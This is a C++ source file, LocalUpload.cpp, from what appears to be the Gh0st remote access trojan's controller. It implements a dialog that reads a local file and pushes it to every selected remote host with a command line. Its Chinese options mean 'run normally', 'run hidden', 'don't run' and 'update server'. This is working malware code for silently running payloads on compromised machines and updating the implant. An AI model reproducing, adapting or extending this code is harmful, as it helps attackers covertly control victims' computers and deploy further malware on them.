177 lines
3.8 KiB
C++
177 lines
3.8 KiB
C++
// LocalUpload.cpp : implementation file
|
|
//
|
|
|
|
#include "stdafx.h"
|
|
#include "gh0st.h"
|
|
#include "LocalUpload.h"
|
|
#include "Gh0stView.h"
|
|
#include "PcView.h"
|
|
|
|
#ifdef _DEBUG
|
|
#define new DEBUG_NEW
|
|
#undef THIS_FILE
|
|
static char THIS_FILE[] = __FILE__;
|
|
#endif
|
|
|
|
extern CGh0stView* g_pTabView;
|
|
/////////////////////////////////////////////////////////////////////////////
|
|
// CLocalUpload dialog
|
|
|
|
|
|
CLocalUpload::CLocalUpload(CWnd* pParent /*=NULL*/)
|
|
: CDialog(CLocalUpload::IDD, pParent)
|
|
{
|
|
//{{AFX_DATA_INIT(CLocalUpload)
|
|
m_edit_path = _T("");
|
|
m_edit_cmd_line = _T("");
|
|
//}}AFX_DATA_INIT
|
|
}
|
|
|
|
|
|
void CLocalUpload::DoDataExchange(CDataExchange* pDX)
|
|
{
|
|
CDialog::DoDataExchange(pDX);
|
|
//{{AFX_DATA_MAP(CLocalUpload)
|
|
DDX_Control(pDX, IDC_COMBO_TYPE, m_combo_type);
|
|
DDX_Text(pDX, IDC_EDIT_LOCAL_PATH, m_edit_path);
|
|
DDX_Text(pDX, IDC_EDIT_CMD_LINE, m_edit_cmd_line);
|
|
//}}AFX_DATA_MAP
|
|
}
|
|
|
|
|
|
BEGIN_MESSAGE_MAP(CLocalUpload, CDialog)
|
|
//{{AFX_MSG_MAP(CLocalUpload)
|
|
ON_BN_CLICKED(IDC_BUTTON_PATH, OnButtonPath)
|
|
ON_CBN_SELCHANGE(IDC_COMBO_TYPE, OnSelchangeComboType)
|
|
//}}AFX_MSG_MAP
|
|
END_MESSAGE_MAP()
|
|
|
|
/////////////////////////////////////////////////////////////////////////////
|
|
// CLocalUpload message handlers
|
|
|
|
BOOL CLocalUpload::OnInitDialog()
|
|
{
|
|
CDialog::OnInitDialog();
|
|
|
|
// TODO: Add extra initialization here
|
|
OnButtonPath();
|
|
|
|
m_combo_type.InsertString(0,"正常运行");
|
|
m_combo_type.InsertString(1,"隐藏运行");
|
|
m_combo_type.InsertString(2,"不 运 行");
|
|
m_combo_type.InsertString(3,"更新服务端");
|
|
m_combo_type.SetCurSel(0);
|
|
|
|
m_type = 0;
|
|
|
|
return TRUE; // return TRUE unless you set the focus to a control
|
|
// EXCEPTION: OCX Property Pages should return FALSE
|
|
}
|
|
|
|
void CLocalUpload::OnButtonPath()
|
|
{
|
|
// TODO: Add your control notification handler code here
|
|
CFileDialog dlg(FALSE, NULL,NULL, OFN_HIDEREADONLY, "All Files (*.*)|*.*||", this);
|
|
if(dlg.DoModal () != IDOK)
|
|
return;
|
|
|
|
SetDlgItemText(IDC_EDIT_LOCAL_PATH,dlg.GetPathName());
|
|
}
|
|
|
|
typedef struct
|
|
{
|
|
BYTE bToken;
|
|
UINT nType;
|
|
char lpCmdLine[MAX_PATH];
|
|
char lpFileName[100];
|
|
}LOCALUP;
|
|
|
|
void CLocalUpload::OnOK()
|
|
{
|
|
// TODO: Add extra validation here
|
|
UpdateData(TRUE);
|
|
|
|
if (m_edit_path=="")
|
|
{
|
|
AfxMessageBox("请选择要上传的文件");
|
|
return;
|
|
}
|
|
|
|
CPcView* pView = NULL;
|
|
pView = DYNAMIC_DOWNCAST(CPcView, CWnd::FromHandle(g_pTabView->m_wndTabControl.GetSelectedItem()->GetHandle()));
|
|
int nItems = pView->m_pListCtrl->GetItemCount();
|
|
if ( nItems == 0)
|
|
{
|
|
AfxMessageBox( "没有选择主机" );
|
|
return;
|
|
}
|
|
|
|
FILE *file=fopen(m_edit_path,"rb");
|
|
if (file == NULL)
|
|
{
|
|
AfxMessageBox("文件读取失败!");
|
|
return;
|
|
}
|
|
// 读取文件
|
|
unsigned char *data = NULL;
|
|
size_t size;
|
|
fseek(file, 0, SEEK_END);
|
|
size = ftell(file);
|
|
data = (unsigned char *)malloc(size);
|
|
fseek(file, 0, SEEK_SET);
|
|
fread(data, 1, size, file);
|
|
fclose(file);
|
|
|
|
|
|
int nPos = m_edit_path.ReverseFind('\\');
|
|
m_edit_path = m_edit_path.Right(m_edit_path.GetLength() - nPos -1);
|
|
|
|
LOCALUP LocaUp;
|
|
ZeroMemory(&LocaUp,sizeof(LOCALUP));
|
|
|
|
LocaUp.bToken = COMMAND_LOCAL_UPLOAD;
|
|
LocaUp.nType = m_type;
|
|
lstrcpy(LocaUp.lpCmdLine , m_edit_cmd_line);
|
|
lstrcpy(LocaUp.lpFileName, m_edit_path.GetBuffer(0));
|
|
|
|
int nPacketLength = sizeof(LOCALUP) + size;
|
|
LPBYTE lpPacket = new BYTE[nPacketLength];
|
|
|
|
memcpy(lpPacket,&LocaUp,sizeof(LOCALUP));
|
|
memcpy(lpPacket + sizeof(LOCALUP),data,size);
|
|
|
|
pView->SendSelectCommand(lpPacket,nPacketLength);
|
|
|
|
if (data)
|
|
free(data);
|
|
|
|
if(lpPacket)
|
|
delete[] lpPacket;
|
|
|
|
AfxMessageBox("指令发送成功,传输文件过大时,请耐心等候!");
|
|
|
|
CDialog::OnOK();
|
|
}
|
|
|
|
void CLocalUpload::OnSelchangeComboType()
|
|
{
|
|
// TODO: Add your control notification handler code here
|
|
UpdateData(TRUE);
|
|
m_type = m_combo_type.GetCurSel();
|
|
|
|
switch(m_type)
|
|
{
|
|
case 0:
|
|
case 1:
|
|
GetDlgItem(IDC_EDIT_CMD_LINE)->EnableWindow(TRUE);
|
|
break;
|
|
case 2:
|
|
case 3:
|
|
GetDlgItem(IDC_EDIT_CMD_LINE)->EnableWindow(FALSE);
|
|
SetDlgItemText(IDC_EDIT_CMD_LINE,"");
|
|
break;
|
|
default:
|
|
break;
|
|
}
|
|
}
|